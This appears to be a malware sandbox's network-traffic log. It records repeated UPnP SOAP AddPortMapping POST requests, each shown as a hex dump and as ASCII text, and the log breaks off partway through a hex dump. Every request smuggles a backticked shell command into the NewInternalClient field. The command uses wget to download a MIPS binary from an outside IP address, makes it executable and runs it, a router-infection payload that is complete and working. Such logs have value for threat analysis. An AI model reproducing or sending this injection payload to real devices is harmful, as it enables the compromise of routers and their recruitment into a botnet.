                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:50.231549978 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      120192.168.2.154813245.192.218.20952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:02.700155020 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:04.536887884 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:06.712817907 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:11.064774036 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:19.768496990 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:37.943918943 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 